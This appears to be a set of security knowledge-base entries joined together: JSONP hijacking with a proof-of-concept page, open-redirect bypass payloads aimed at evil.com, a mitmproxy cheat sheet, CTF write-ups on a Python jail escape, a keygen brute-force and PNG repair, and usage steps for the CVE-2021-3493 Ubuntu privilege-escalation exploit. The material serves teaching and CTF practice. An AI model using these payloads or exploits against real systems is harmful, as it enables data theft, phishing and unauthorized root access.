- [京东商城 JSONP+CSRF 导致某处信息泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0121266)
- [迅雷某站 jsonp 劫持漏洞泄漏会话 ID,cookie](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0121639)
- [唯品会某处 JSONP+CSRF 泄露重要信息](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0122755)
- [新浪微博之点击我的链接就登录你的微博(JSONP 劫持)](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0204941)
- [苏宁易购多接口问题可泄露用户姓名、地址、订单商品 (jsonp 案例) ](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0118712)
- [通过 jsonp 可以获得当前用户的 QQ+crsf 刷收听](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-070690)
- [利用 JSONP 劫持可以泄漏 QQ 号](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-065177)
- [京东商城某处 jsonp 接口可泄露任意用户的搜索记录](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-044210)
- [新浪微博 JSONP 劫持之点我链接开始微博蠕虫+刷粉丝](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0171499)
- [fanwe O2O 用户密码可劫持 (通用/开源软件 jsonp 劫持案例) ](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0124949)
**相关工具**
- [p1g3/JSONP-Hunter](https://github.com/p1g3/JSONP-Hunter) - JSONP Hunter in burpsuite.
**场景模拟**
```php
<?php
//test.php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"username" : "test","phone" : "13888888888"});';
?>
```
```bash
# 服务器上运行这个简易的服务
php -S 0.0.0.0:9999
```
举例,存在信息泄漏的 JSONP 接口 http://127.0.0.1:9999/test.php?callback=xxx ,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。
```html
<script>
function xxx(data)
{
alert(data.username);
}
</script>
<script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>
```
保存为 html,诱导受害者访问.
#### SOME
> 同源方式执行
**简介**
SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。
**相关文章**
- [浅析同源方式执行(SOME)攻击](https://www.freebuf.com/articles/web/169873.html)
**靶场**
- [Same Origin Method Execution](https://www.someattack.com/Playground/About)
---
## 钓鱼欺骗
**相关案例**
- [$7.5k Google Cloud Platform organization issue](https://www.ezequiel.tech/2019/01/75k-google-cloud-platform-organization.html)
- [从微信群不良广告到酷我音乐存储型XSS再到乐视url跳转](https://darkless.cn/2019/12/23/kuwomusic-xss/)
### URL跳转漏洞
`Open Redirect`
**描述**
由于 Web 站点有时需要根据不同的逻辑将用户引向到不同的页面,如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致 URL 重定向问题,攻击者构造恶意跳转的链接,可以向用户发起钓鱼攻击。
**相关文章**
- [URL 重定向及跳转漏洞](http://www.pandan.xyz/2016/11/15/url%20%E9%87%8D%E5%AE%9A%E5%90%91%E5%8F%8A%E8%B7%B3%E8%BD%AC%E6%BC%8F%E6%B4%9E/)
- [分享几个绕过 URL 跳转限制的思路](https://www.anquanke.com/post/id/94377)
- [浅析渗透实战中url跳转漏洞 ](https://xz.aliyun.com/t/5189)
- [Open Redirect and Its Bypasses - Bug Bounty](https://www.cyberick.com/post/open-redirect-and-its-bypasses)
- [浅谈URL跳转漏洞的绕过与修复](https://mp.weixin.qq.com/s/pEjWuEO98VoOq7CKAk-c4A)
**相关工具**
- [devanshbatham/OpenRedireX](https://github.com/devanshbatham/OpenRedireX)
**字典**
- https://tools.intigriti.io/redirector/#
- https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt
**Bypass 技巧**
- Fuzz
- `/?ref=evil.com`
- `/?ref=evil。com`
- `/?ref=#evil.com`
- `/?ref=#%20@evil.com`
- `/?ref=/evil.com`
- `/?ref=//evil.com`
- `/?ref=\\evil.com`
- `/?ref=\/\/evil.com/`
- `/?ref=/\/evil.com/`
- `/?ref=evil%E3%80%82com`
- `/?ref=//evil%00.com`
- `/?ref=https://evil.c℀.example.com`
- `/?ref=/%0d/evil.com`
- `/?ref=evil%00.com`
- URL 编码
- `/?ref=%2Fevil.com`
- `/?ref=%2F%2Fevil.com`
- `/?ref=https%3A%2F%2Fevil.com`
- CRLF
- `/?ref=%0D%0A/evil.com`
- 协议
- `/?ref=http://evil.com`
- `/?ref=http:/\/\evil.com`
- `/?ref=https:evil.com`
- `/?ref=https://evil.com`
- `/?ref=https:/evil.com`
- `/?ref=https:/\evil.com`
- 白名单
- `/?ref=baidu.com`
- `/?ref=baidu.com.evil.com`
- `/?ref=baidu.comevil.com`
- `/?ref=baidu.com@evil.com`
- `/?ref=baidu.com%40evil.com`
- `/?ref=baidu.com?evil.com`
- `/?ref=baidu.com/°evil.com`
- 参数污染
- `/?ref=baidu.com&ref=evil.com`
- Right to Left Override
- `/?ref=%40%E2%80%AE@moc.live`
**通用修复方案**
* 使用白名单校验重定向的 url 地址
* 给用户展示安全风险提示,并由用户再次确认是否跳转
---
### 二维码劫持
**相关案例**
- [二维码劫持案例分析](https://www.freebuf.com/vuls/234121.html)
---
### 点击劫持
- [click-jacking](https://www.hacksplaining.com/exercises/click-jacking) - 一个简单的讲解关于点击劫持的网站
**相关案例**
- [Uber XSS + clickjacking](https://www.youtube.com/watch?v=5Gg4t3clwys)
- [Stealing your private documents through a bug in Google Docs](https://savebreach.com/stealing-private-documents-through-a-google-docs-bug/)
- [Twitter Periscope Clickjacking Vulnerability](https://hackerone.com/reports/591432)
- [Clickjacking at ylands.com](https://hackerone.com/reports/405342)
|
sec-knowleage
|
---
title: Mitmproxy
date: 2020-12-22 20:10:08
background: bg-[#d86138]
tags:
- capture
- traffic
- network
- utility
categories:
- Toolkit
intro: |
[mitmproxy](https://mitmproxy.org/) is a free and open source interactive HTTPS proxy. This is a quick reference cheat sheet to the mitmproxy.
plugins:
- copyCode
---
Getting Started
---------------
### Usage {.col-span-2}
| Option | Example | Description |
|--------|----------------------------------------------------|-------------------------------------------|
| `-p` | mitmproxy -p 8001 | Start proxy on port 8001 |
| `-m` | mitmproxy -p 8001 -m reverse:http://127.0.0.1:4000 | Reverse proxy on port 8001 to port 4000 |
| `-w` | mitmproxy -p 8001 -w traffic.mitm | Stream flows to file as they arrive |
| `-r` | mitmproxy -r traffic.mitm | Read flows from file |
| `-C` | mitmproxy -C traffic.mitm | Replay client requests from a saved file |
| `-S` | mitmproxy -S traffic.mitm | Replay server responses from a saved file |
| `-s` | mitmproxy -s myScript.py | Execute a script |
| `-h` | mitmproxy -h | mitmproxy quick help |
### Movement
```markdown
k Ctrl b
▲ ▲▲
│ ││
h ◀ ─── + ─── ▶ l ││ page
│ ││
▼ ▼▼
j Ctrl f / Space
```
---
| - | - |
|----------------------|-----------------------|
| `h`, `j`, `k` ,`l` | Left, Down, Up, Right |
| `Ctrl` `b` | Page up |
| `Space` / `Ctrl` `f` | Page down |
| `g` / `G` | Go to beginning / end |
| `Arrows` | Up, Down, Left, Right |
{.shortcuts}
### Copy to Clipboard
Command Syntax:
```
:export.clip format flow
```
----------------
Example:
| Description | Command Example |
|--------------------------------|------------------------------------|
| 1. Copy as a curl command | `:export.clip curl @focus` |
| 2. Copy as a httpie | `:export.clip httpie @focus` |
| 2. Copy as a raw | `:export.clip raw @focus` |
| 2. Copy as a raw HTTP request | `:export.clip raw_request @focus` |
| 2. Copy as a raw HTTP response | `:export.clip raw_response @focus` |
{.style-list}
Export a flow to the system clipboard.
### Save to File
Command Syntax:
```
:export.file format flow path
```
----------------
Example:
| Description | Command Example |
|------------------------------|----------------------------------------------------|
| 1. Export to /tmp/a.curl | `:export.file curl @focus /tmp/a.curl` |
| 2. Export to /tmp/a.httpie | `:export.file httpie @focus /tmp/a.httpie` |
| 2. Export to /tmp/a.raw | `:export.file raw @focus /tmp/a.raw` |
| 2. Export to /tmp/a.request | `:export.file raw_request @focus /tmp/a.request` |
| 2. Export to /tmp/a.response | `:export.file raw_response @focus /tmp/a.response` |
{.style-list}
Export a flow to the system clipboard.
### Common Keybindings
| - | - |
|---------|------------------|
| `q` | Back / Exit |
| `z` | Clear flow list |
| `:` | Command prompt |
| `E` | View event log |
| `O` | View options |
| `r` | Replay this flow |
| `Tab` | Next |
| `Enter` | Select |
{.shortcuts}
### Global Keybindings
| - | - |
|----------------|---------------------------|
| `-` | Cycle to next layout |
| `?` | View help |
| `B` | Start an attached browser |
| `C` | View commands |
| `I` | Toggle intercept |
| `K` | View key bindings |
| `P` | View flow details |
| `Q` | Exit immediately |
| `W` | Stream to file |
| `i` | Set intercept |
| `Ctrl` `right` | Focus next layout pane |
| `Shift` `tab` | Focus next layout pane |
{.shortcuts}
### Flow (View)
| - | - |
|------------|------------------------------|
| `A` | Resume all intercepted flows |
| `D` | Duplicate flow |
| `F` | Set focus follow |
| `L` | Load flows from file |
| `M` | Toggle viewing marked flows |
| `S` | Start server replay |
| `U` | Un-set all marks |
| `V` | Revert changes to this flow |
| `X` | Kill this flow |
| `Z` | Purge all flows not showing |
| `a` | Resume this intercepted flow |
| `b` | Save response body to file |
| `d` | Delete flow from view |
| `e` | Export this flow to file |
| `f` | Set view filter |
| `m` | Toggle mark on this flow |
| `n` | Create a new flow |
| `o` | Set flow list order |
| `r` | Replay this flow |
| `v` | Reverse flow list order |
| `w` | Save listed flows to file |
| `|` | Run a script on this flow |
| `Ctrl` `l` | Send cuts to clipboard |
{.shortcuts}
Mitmproxy Filter
---------------
### Filter
| - | - |
|-----|---------------------------------------|
| `f` | Set view filter _(on flow view page)_ |
{.shortcuts}
---
- [RegEX cheatsheet](/regex) _(quickref.me)_
The regex are Python-style, it can be specified as quoted strings
### Operators
| - | - |
|---------|-----------|
| `!` | unary not |
| `&` | and |
| `|` | or |
| `(...)` | grouping |
### Expressions {.row-span-2}
| - | - |
|----------------|------------------------------------------------------------|
| `~a` | Match asset in response: CSS, Javascript, Flash, images. |
| `~b` `regex` | Body |
| `~bq` `regex` | Request body |
| `~bs` `regex` | Response body |
| `~c` `int` | HTTP response code |
| `~d` `regex` | Domain |
| `~dst` `regex` | Match destination address |
| `~e` | Match error |
| `~h` `regex` | Header |
| `~hq` `regex` | Request header |
| `~hs` `regex` | Response header |
| `~http` | Match HTTP flows |
| `~m` `regex` | Method |
| `~marked` | Match marked flows |
| `~q` | Match request with no response |
| `~s` | Match response |
| `~src` `regex` | Match source address |
| `~t` `regex` | Content-type header |
| `~tcp` | Match TCP flows |
| `~tq` `regex` | Request Content-Type header |
| `~ts` `regex` | Response Content-Type header |
| `~u` `regex` | URL |
| `~websocket` | Match WebSocket flows (and HTTP-WebSocket handshake flows) |
### Flow selectors
Expressions
| - | - |
|-------------|----------------------------|
| `@all ` | All flows |
| `@focus ` | The currently focused flow |
| `@shown ` | All flows currently shown |
| `@hidden ` | All flows currently hidden |
| `@marked ` | All marked flows |
| `@unmarked` | All unmarked flows |
mitmproxy has a set of convenient flow selectors that operate on the current view
### Examples
URL containing "google.com"
```
google\.com
```
Requests whose body contains the string "test"
```
~q ~b test
```
Anything but requests with a text/html content type:
```
!(~q & ~t "text/html")
```
Replace entire GET string in a request (quotes required to make it work):
```
":~q ~m GET:.*:/replacement.html"
```
Mitmproxy Scripts {.cols-2}
-------
### Custom response
```python
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.pretty_url == "http://example.com/path":
flow.response = http.HTTPResponse.make(
200, # (optional) status code
b"Hello World", # (optional) content
{"Content-Type": "text/html"} # (optional) headers
)
```
Send a reply from the proxy without sending any data to the remote server
### Add header
```python
class AddHeader:
def __init__(self):
self.num = 0
def response(self, flow):
self.num = self.num + 1
flow.response.headers["count"] = str(self.num)
addons = [
AddHeader()
]
```
Add an HTTP header to each response
Also see
-------
- [mitmproxy addons](https://github.com/mitmproxy/mitmproxy/tree/master/examples/addons) _(github.com)_
- [mitmproxy docs](https://docs.mitmproxy.org/) _(mitmproxy.org)_
|
sec-knowleage
|
# Episode 3: Challenge 2
## Description
> You got in, but can you get out? Better run fast. socat FILE:`tty`,raw,echo=0 TCP:shell-sprinter.h4ck.ctfcompetition.com:1337 (Shift+Q to quit)
>
> Hint: If you ain't cheating, you ain't trying
## Solution
Let's connect to the server:
```console
#######################################################
\ You wake up in an unfamiliar place. Or rather, it \
\ seems familiar but somehow... not. Like a place \
\ you’ve visited a thousand times but now rendered in \
\ a dream. You’re in a dark corridor, your small orb \
\ of light illuminates only the faded green linoleum \
\ that drops away into blackness. You check your \
\ pockets. Nothing. You’re alone. \
\ \
\ \
\ You begin to walk, only to encounter... a blank \
\ wall. The smooth, cream facade blocks your way \
\ abruptly. You follow it, skirting the wall closely \
\ and discover a fork in the corridor. ‘Ok. This is a \
\ maze.’ As you pause to take stock you hear the \
\ knocking of even footsteps. They’re growing closer. \
\ The sound is innocuous, but you feel a surge of \
\ panic. It starts in the back of your head and \
\ washes over you in a hot wave. You’re not sure how, \
\ but you know it is time to leave. On an instinctual \
\ level, you know. It’s time to escape... \
\ \
\ \
#######################################################
```
It's actually a fairly fun ASCII-based game:
```
\\ @scape_986e080b ]=~~-###############################
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ -------------- \
\ |........|...| \
\ |@..|....|...| \
\ |...|........| \
\ |....@...|...| \ Energy Level: Fine
\ ---------|...| \
\ |...---O |---=---- \ )=[Inventory]=~--------
\ |............ |.......| \ 1. Datakey [trs80]
\ ----..--- ------.....x.| \ 2.
\ |............|.......| \ 3.
\ |....-----...O.......O \ 4.
\ |............|.......| \ 5.
\ -------------|.......| \ 6.
\ |.......---------\ 7.
\ |................\ 8.
#######################################################
```
We can go on and on, but the instructions told us to cheat, so let's try some famous cheating codes.
Guess what happens when you enter the [Konami Code](https://en.wikipedia.org/wiki/Konami_Code) (up, up, down, down, left, right, left, right, B, A and Enter):
```
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
#######################################################
>>>
```
We get a Python shell!
```
\ print("Test") \
\ Test \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
\ \
#######################################################
>>> [Enter - continue, r - return to game]
```
It's a restricted shell with a character limit of 70 characters and many blocked commands:
```
\ system("ls") \
\ name 'system' is not defined \
```
Moreover, the shell does not remember commands across attempts, so we can't make assignments to variables to bypass the length limitation.
After trying many different jailbreak commands, here are the ones that worked:
```python
print.__globals__['__builtins__'].__import__('os').system('ls')
print.__globals__['__builtins__'].__import__('os').system('cat flag')
```
The flag: `https://h4ck1ng.google/solve/7h3_s1mul4crum_i5_7rue`.
|
sec-knowleage
|
# KeyGenMe
Reversing, 423 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/KeyGenMe# ./keygenme
Please Enter a product key to continue:
```
So we'll need a valid product key in order to proceed.
Let's open in a disassembler:
```console
root@kali:/media/sf_CTFs/tamu/KeyGenMe# r2 keygenme
-- Finnished a beer
[0x00000820]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000820]> afl
0x00000000 10 459 -> 461 sym.imp.__libc_start_main
0x00000750 3 23 sym._init
0x00000780 1 6 sym.imp.puts
0x00000790 1 6 sym.imp.strlen
0x000007a0 1 6 sym.imp.__stack_chk_fail
0x000007b0 1 6 sym.imp.printf
0x000007c0 1 6 sym.imp.fgets
0x000007d0 1 6 sym.imp.strcmp
0x000007e0 1 6 sym.imp.malloc
0x000007f0 1 6 sym.imp.setvbuf
0x00000800 1 6 sym.imp.fopen
0x00000810 1 6 sub.__cxa_finalize_810
0x00000820 1 43 entry0
0x00000850 4 50 -> 40 sym.deregister_tm_clones
0x00000890 4 66 -> 57 sym.register_tm_clones
0x000008e0 5 58 -> 51 sym.__do_global_dtors_aux
0x00000920 1 10 entry1.init
0x0000092a 4 176 sym.enc
0x000009da 5 108 sym.verify_key
0x00000a46 8 244 main
0x00000b40 3 101 -> 92 sym.__libc_csu_init
0x00000bb0 1 2 sym.__libc_csu_fini
0x00000bb4 1 9 sym._fini
[0x00000820]> s sym.main
```
An overview of `main` is:
```
.---------------------------------------------------------.
| [0xa46] |
| 0x00000a67 size_t size |
| 0x00000a6c int mode |
| 0x00000a71 char *buf |
| 0x00000a76 FILE*stream |
| 0x00000a79 call sym.imp.setvbuf |
| 0x00000000 [28] ---- section size 254 named .shstrtab |
| 0x00000a7e const char *s |
| 0x00000a7e str.Please_Enter_a_product_key_to_continue: |
| 0x00000a85 call sym.imp.puts |
| 0x00000a8a FILE *stream |
| 0x00000a98 int size |
| 0x00000a9d char *s |
| 0x00000aa0 call sym.imp.fgets |
| 0x00000aaf call sym.verify_key |
`---------------------------------------------------------'
f t
| |
| '------------------------------------------.
.---------------' |
| |
.----------------------------------. |
| 0xab8 [gi] | |
| 0x00000ab8 const char *mode | |
| 0x00000abf const char *filename | |
| 0x00000abf str.flag.txt | |
| 0x00000ac6 call sym.imp.fopen | |
`----------------------------------' |
f t |
| | |
| '--------------------. |
.--------------------------------------------' | |
| | |
.---------------------------------------------------------------. .---------------------------------. |
| 0xadc [gk] | | 0xaef [gh] | |
| 0x00000adc const char *s | | 0x00000aef FILE *stream | |
| 0x00000adc str.Too_bad_the_flag_is_only_on_the_remote_server | | 0x00000afa int size | |
| 0x00000ae3 call sym.imp.puts | | 0x00000aff char *s | |
`---------------------------------------------------------------' | 0x00000b02 call sym.imp.fgets | |
v | 0x00000b0e const char *format | |
| | 0x00000b1a call sym.imp.printf | |
| `---------------------------------' |
```
So the interesting part looks like `verify_key`:
```
.---------------------------------.
| [0x9da] |
| 0x000009e2 arg1 |
| 0x000009ea const char *s |
| 0x000009ed call sym.imp.strlen |
`---------------------------------'
f t
| |
| '-----------------.
.-------------' |
| |
.---------------------------------. |
| 0x9f8 [ge] | |
| 0x000009fc const char *s | |
| 0x000009ff call sym.imp.strlen | |
`---------------------------------' |
t f |
| | |
.------------------' | |
| '--------------------. |
| | .------'
| | |
.----------------------------------. .--------------------.
| 0xa11 [gd] | | 0xa0a [gb] |
| 0x00000a18 call sym.enc | `--------------------'
| 0x00000a21 str.OIonU2____nK_KsK | v
| 0x00000a34 const char *s2 | |
| 0x00000a37 const char *s1 | |
| 0x00000a3a call sym.imp.strcmp | |
`----------------------------------' |
v |
| |
| .--------------'
'--------------------------.
| |
.--------------------.
| 0xa44 [gf] |
`--------------------'
```
This function verifies that the string length is between some legal values (9 and 0x40 to be precise), calls `enc()` to encrypt the string and compares it to some known result:
```
[0x000009da]> psz @ str.OIonU2____nK_KsK
[OIonU2_<__nK<KsK
```
So we need to make sure that our input, after passing through `enc`, will be equal to `[OIonU2_<__nK<KsK`.
What does `enc` do?
```
.------------------------------------------.
| [0x92a] |
| (fcn) sym.enc 176 |
| sym.enc (char *arg1); |
| ; var char *s @ rbp-0x28 |
| ; var int last_char @ rbp-0x11 |
| ; var int i @ rbp-0x10 |
| ; var size_t input_len @ rbp-0xc |
| ; var void *p_output @ rbp-0x8 |
| ; arg char *arg1 @ rdi |
| ; CALL XREF from sym.verify_key (0xa18) |
| push rbp |
| mov rbp, rsp |
| ; '0' |
| sub rsp, 0x30 |
| ; arg1 |
| mov qword [s], rdi |
| ; size_t size |
| ; segment.PHDR |
| mov edi, 0x40 |
| ; void *malloc(size_t size) |
| call sym.imp.malloc;[ga] |
| mov qword [p_output], rax |
| mov rax, qword [s] |
| ; const char *s |
| mov rdi, rax |
| ; size_t strlen(const char *s) |
| call sym.imp.strlen;[gb] |
| mov dword [input_len], eax |
| ; 'H' |
| mov byte [last_char], 0x48 |
| mov dword [i], 0 |
| jmp 0x9cc;[gc] |
`------------------------------------------'
v
|
'-----.
.----------------------.
| | |
| .-----------------------------------.
| | 0x9cc [gc] |
| | ; CODE XREF from sym.enc (0x95e) |
| | mov eax, dword [i] |
| | cmp eax, dword [input_len] |
| | jl 0x960;[ge] |
| `-----------------------------------'
| t f
| | |
| .---------------' |
| | '-----------------------.
| | |
|.------------------------------------. .---------------------------------.
|| 0x960 [ge] | | 0x9d4 [gf] |
|| ; CODE XREF from sym.enc (0x9d2) | | mov rax, qword [p_output] |
|| mov eax, dword [i] | | leave |
|| movsxd rdx, eax | | ret |
|| mov rax, qword [s] | `---------------------------------'
|| ; '(' |
|| add rax, rdx |
|| movzx eax, byte [rax] |
|| movsx eax, al |
|| lea edx, [rax + 0xc] |
|| movzx eax, byte [last_char] |
|| imul eax, edx |
|| lea ecx, [rax + 0x11] |
|| mov edx, 0xea0ea0eb |
|| mov eax, ecx |
|| imul edx |
|| lea eax, [rdx + rcx] |
|| sar eax, 6 |
|| mov edx, eax |
|| mov eax, ecx |
|| sar eax, 0x1f |
|| sub edx, eax |
|| mov eax, edx |
|| imul eax, eax, 0x46 |
|| sub ecx, eax |
|| mov eax, ecx |
|| ; '0' |
|| lea ecx, [rax + 0x30] |
|| mov eax, dword [i] |
|| movsxd rdx, eax |
|| mov rax, qword [p_output] |
|| ; '(' |
|| add rax, rdx |
|| mov edx, ecx |
|| mov byte [rax], dl |
|| mov eax, dword [i] |
|| movsxd rdx, eax |
|| mov rax, qword [p_output] |
|| ; '(' |
|| add rax, rdx |
|| movzx eax, byte [rax] |
|| mov byte [last_char], al |
|| add dword [i], 1 |
|`------------------------------------'
| v
| |
`----'
```
We can see that it allocates an output buffer for the result, and that it iterates over each character of the input and performs multiple manipulation in order to arrive to an output character. The manipulations, performed in the `[ge]` block, don't seem trivial to reverse, and as we can see - they include some relation to the previous character (stored in `last_char`). It would probably be easier to brute-force this index-by-index.
In order to do so, we can choose to extract/reimplement the encryption function in a different program, or peek into the existing one during runtime. I chose the latter since it's less error-prone (and much cooler), making use of `ltrace` for the task.
From the Linux man page:
> ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.
For example, if we call `ltrace` on the program using a random key, we see:
```console
root@kali:/media/sf_CTFs/tamu/KeyGenMe# echo abcdefghij | ltrace ./keygenme
setvbuf(0x7f86fab16760, 0, 2, 0) = 0
puts("\nPlease Enter a product key to c"...
Please Enter a product key to continue:
) = 42
fgets("abcdefghij\n", 65, 0x7f86fab15a00) = 0x7ffc75e42fa0
strlen("abcdefghij\n") = 11
strlen("abcdefghij\n") = 11
malloc(64) = 0x55bf58a9c270
strlen("abcdefghij\n") = 11
strcmp("[OIonU2_<__nK<KsK", "IsZA<s<_2Us") = 18
+++ exited (status 0) +++
```
The important like is this one:
```
strcmp("[OIonU2_<__nK<KsK", "IsZA<s<_2Us")
```
We see that the program compared the hardcoded string `[OIonU2_<__nK<KsK` to `IsZA<s<_2Us`, meaning that `IsZA<s<_2Us` is the output of `enc("abcdefghij")`.
The expected result is 17 characters long, and we see that an input of length n produces a result of length (n+1), so we conclude that we need to enter an input of length 16.
Our strategy is as follows:
1. Input a string of length 16, where the first letter is the first printable letter of the ASCII table. The range of printable letters in the ASCII table is 33 to 126, i.e. `!` to `~`.
2. Peek into the program using `ltrace` and see what the input was encrypted to.
3. If the first letter of the encrypted result isn't `[`, continue to the next letter.
4. Once we have a match for the first letter, set it as the first letter of the key and move on to the next index.
I chose to practice my bash skills and implement the whole thing as a bash script:
```bash
#!/bin/bash
target='[OIonU2_<__nK<KsK'
echo "Target: $target"
# Key length is len(target)-1
key_len=$((${#target}-1))
# Create a dummy key of length 16: "################"
key=$(for i in `seq 0 $(($key_len-1))`; do printf "#"; done; echo "")
# For each index in the key
for i in `seq 0 $(($key_len-1))`;
do
# Extract the character at index i from the target
target_char=$(echo "${target:$i:1}")
# For each printable character in the ASCII table
for j in `seq 33 127`;
do
#Turn the decimal value of the character into a real ASCII character
replacement=$(printf "$(printf %x $j)" | xxd -p -r)
# The new key is key[:i] + replacement + key[i+1:]
key=$(echo "${key:0:$i}$replacement${key:$(($i+1))}")
# Run the program through ltrace, using the key, and extract the output of enc() using regex.
# grep's "\K" is a lookbehind alternative, telling the engine to start capturing only from the \K itself.
# -Po tells grep to work with Perl-compatible expressions (P) and to and to print only the matched (non-empty) parts of a matching line (o).
res=$(echo $key | ltrace ./keygenme 2>&1 | grep -Po "strcmp\(\".{${#target}}\", \"\K.{$key_len}")
# Extract the character at index i from the output of enc()
res_char=$(echo "${res:$i:1}")
# Check if they match
if [ "$res_char" = "$target_char" ]
then
break
fi
done
echo "Key so far: $key"
done
echo "Key:"
echo $key
echo $key | nc rev.tamuctf.com 7223
```
The output:
```console
root@kali:/media/sf_CTFs/tamu/_KeyGenMe# ./run.sh
Target: [OIonU2_<__nK<KsK
Key so far: $###############
Key so far: $*##############
Key so far: $*Z#############
Key so far: $*Z2############
Key so far: $*Z2S###########
Key so far: $*Z2S"##########
Key so far: $*Z2S"+#########
Key so far: $*Z2S"+'########
Key so far: $*Z2S"+')#######
Key so far: $*Z2S"+')"######
Key so far: $*Z2S"+')""#####
Key so far: $*Z2S"+')""+####
Key so far: $*Z2S"+')""+'###
Key so far: $*Z2S"+')""+'+##
Key so far: $*Z2S"+')""+'+$#
Key so far: $*Z2S"+')""+'+$(
Key:
$*Z2S"+')""+'+$(
Please Enter a product key to continue:
gigem{k3y63n_m3?_k3y63n_y0u!}
```
|
sec-knowleage
|
---
title: CVE-2021-3493
---
<center><h1>CVE-2021-3493</h1><b>本文作者:一生热爱</b><br><br></center>
---
## 一、描述
CVE-2021-3493 用户漏洞是 Linux 内核中没有文件系统中的 layfs 中的 Ubuntu over 特定问题,在 Ubuntu 中正确验证有关名称空间文件系统的应用程序。
由于 Ubuntu 支持非特权的 overlayfs 挂载的它的发布,因此本地人可以使用来进行提攻击操作,因此漏洞对 Linux 的其他发布版本没有影响。
## 二、影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM (Linux内核版本 < 5.11)
## 三、漏洞利用
代码链接:[https://github.com/inspiringz/CVE-2021-3493.git](https://github.com/inspiringz/CVE-2021-3493.git)
使用方式
```bash
gcc exploit.c -o exploit
chmod +x exploit
./exploit shell|command
```
如下图所示在 Ubuntu18.04.5(5.4.0-42)提权
<img width="500" src="/img/Snipaste_2022-07-07_20-48-36.png">
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年7月7日"
}
}
</script>
|
sec-knowleage
|
# Corrupted Quack
Category: Forensics
## Description
> DuckyDebugDuck's sister sent him a picture from her vacation to Canada, but it got corrupted, can you fix it?
A `*.png` file was attached.
## Solution
Let's check the file with some basic tools:
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# pngcheck corrupted_quack.png
corrupted_quack.png this is neither a PNG or JNG image nor a MNG stream
ERROR: corrupted_quack.png
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# file corrupted_quack.png
corrupted_quack.png: data
```
Neither `file` nor `pngcheck` can recognize this file as a PNG file. This means that something very basic in the file signature is corrupted.
According to the [specs](https://en.wikipedia.org/wiki/Portable_Network_Graphics), a PNG file should start with the magic number `89 50 4e 47 0d 0a 1a 0a`. What does our file start with?
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# xxd -g 1 corrupted_quack.png | head -n 1
00000000: 51 55 41 43 4b 4b 4b 4b 00 00 00 0d 44 55 43 4b QUACKKKK....DUCK
```
That doesn't seem right. Let's fix the first 8 bytes according to the known signature:
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' | dd conv=notrunc of=corrupted_quack.png bs=1 seek=0
8+0 records in
8+0 records out
8 bytes copied, 0.00238445 s, 3.4 kB/s
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# xxd -g 1 corrupted_quack.png | head -n 1
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 44 55 43 4b .PNG........DUCK
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# pngcheck corrupted_quack.png
corrupted_quack.png first chunk must be IHDR
ERROR: corrupted_quack.png
```
This looks a bit better, but still not exactly right: `pngcheck` tells us that the first chunk must be of type `IHDR` (and not `DUCK`). Let's fix that:
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# printf 'IHDR' | dd conv=notrunc of=corrupted_quack.png bs=1 seek=12
4+0 records in
4+0 records out
4 bytes copied, 0.00224021 s, 1.8 kB/s
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# xxd -g 1 corrupted_quack.png | head -n 1
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# pngcheck corrupted_quack.png
corrupted_quack.png illegal (unless recently approved) unknown, public chunk DUCK
ERROR: corrupted_quack.png
```
We're past the `IHDR` error, now `pngcheck` is complaining about another unknown chunk type also called `DUCK`. Technically most viewers will already be able to display the image, but let's search for it and fix it:
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# grep --only-matching --byte-offset --binary --text DUCK corrupted_quack.png
987435:DUCK
